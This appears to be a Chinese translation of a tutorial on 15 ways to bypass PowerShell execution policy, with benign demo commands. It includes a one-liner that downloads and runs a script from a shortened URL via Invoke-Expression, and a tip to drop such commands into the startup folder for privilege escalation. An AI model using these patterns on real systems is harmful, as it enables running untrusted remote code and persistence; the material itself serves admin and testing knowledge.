默认情况下,Windows
系统禁止PowerShell
执行脚本,这对于渗透测试人员、系统管理员和开发人员来说,可能是一个障碍。在本文中,介绍 15 种无需系统本地管理员权限即可绕过 PowerShell
执行策略的方法。
PowerShell
执行策略是决定哪种类型的 PowerShell
脚本可以在系统上运行。默认情况下,它设置为Restricted
,即禁止。但是,该设置不是安全控制, 只是防止管理员误操作。这就是为什么有这么多绕过方法的原因。
自动化似乎是从人们那里听到的最常见的反应之一,但下面是 PowerShell
变得如此受管理员、渗透测试人员和黑客欢迎的一些原因。PowerShell
是:
Windows
原生Windows API
在使用 PowerShell
提供的所有功能之前,黑客可能必须绕过Restricted
执行策略。可以使用命令Get-ExectionPolicy
查看当前配置。
PS C:> Get-ExecutionPolicy
还值得注意的是,可以在系统的不同级别设置执行策略。要查看它们的列表,请使用以下命令。
Get-ExecutionPolicy -List | Format-Table -AutoSize
在下面的示例中,使用名为 runme.ps1
的脚本,其中包含以下命令将消息写入控制台:
Write-Host "My voice is my passport, verify me."
当尝试在配置了默认执行策略的系统上执行它时,出现以下错误:
如果当前的政策过于宽松,并且想对其进行更多限制以测试以下技术,请从管理员 PowerShell
控制台运行命令Set-ExecutionPolicy Restricted
。
将PowerShell
脚本复制并粘贴到交互式控制台中,如下所示。但是,请记住,将受到当前用户权限的限制。
PowerShell
标准输入只需将脚本回显到 PowerShell
标准输入中。此技术不会导致配置更改或需要写入磁盘。
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
使用命令行type
命令或 PowerShell
的Get-Content
命令从磁盘读取脚本并将其通过管道传输到 PowerShell
标准输入。此技术不会导致配置更改,但需要将脚本写入磁盘。但是,如果试图避免写入磁盘,则可以从网络共享中读取它。
Get-Content
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
type
TYPE .runme.ps1 | PowerShell.exe -noprofile -
这项技术可用于从互联网下载 PowerShell
脚本并执行它,而无需写入磁盘。它也不会导致任何配置更改。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"
这与通过复制和粘贴执行脚本非常相似,但它可以在没有交互式的情况下完成。这对于简单的脚本执行来说很好,但更复杂的脚本通常会以解析错误告终。此技术不会导致配置更改或需要写入磁盘。
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
注意,可以将这些 PowerShell
命令放入批处理文件中,并将它们放入自动运行位置(如所有用户启动文件夹)以帮助提升权限。
这与“命令”开关非常相似,但所有脚本均以 Unicode
或base64
编码字符串形式提供。以这种方式编码有助于避免“命令”开关遇到的解析错误。此技术不会导致配置更改或需要写入磁盘。
$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
它通常通过交互式 PowerShell
控制台或使用命令开关单行执行,有意思的是,它可对已启用 PowerShell
远程处理的系统执行命令。此技术不会导致配置更改或需要写入磁盘。
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
下面的命令用于从远程计算机获取执行策略并将其应用于本地计算机。
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
这是另一个通过交互式 PowerShell
控制台或使用命令开关单行执行的方法。此技术不会导致配置更改或需要写入磁盘。下面列出了一些使用 Invoke-Expression
绕过执行策略的常用方法。
Get-Content
的完整命令Get-Content .runme.ps1 | Invoke-Expression
GC .runme.ps1 | iex
当执行脚本时,将绕过执行策略。此技术不会导致配置更改或需要写入磁盘。
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
类似“Bypass”标志。但是,当使用此标志时,Microsoft 声明它“加载所有配置文件并运行所有脚本。如果您运行从 Internet 下载的未签名脚本,系统会在运行前提示您获得许可。” 此技术不会导致配置更改或需要写入磁盘。
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
创建您的脚本,然后按照 Carlos Perez 编写的教程进行签名。最后,使用以下命令运行它:
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
一种新颖的方法, 通过交互式 PowerShell
控制台或使用“命令”开关执行, 用 null
换出“AuthorizationManager
”。因此,对于会话的剩余部分,执行策略基本上设置为Unrestricted
。它不会导致持久的配置更改或需要写入磁盘,只对当前会话起作用。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy .runme.ps1
正如在简介中讲到,执行策略可以应用于多个级别, 这包括可以控制的过程。使用这种技术,可以在会话期间将执行策略设置为Unrestricted
。此外,它不会导致配置更改,也不需要写入磁盘。
Set-ExecutionPolicy Bypass -Scope Process
此选项类似于进程范围,但设置永久应用于当前用户的环境。此外,它不会导致配置更改,也不需要写入磁盘。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
在此示例中,通过直接修改注册表项来持久更改当前用户环境的执行策略。
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell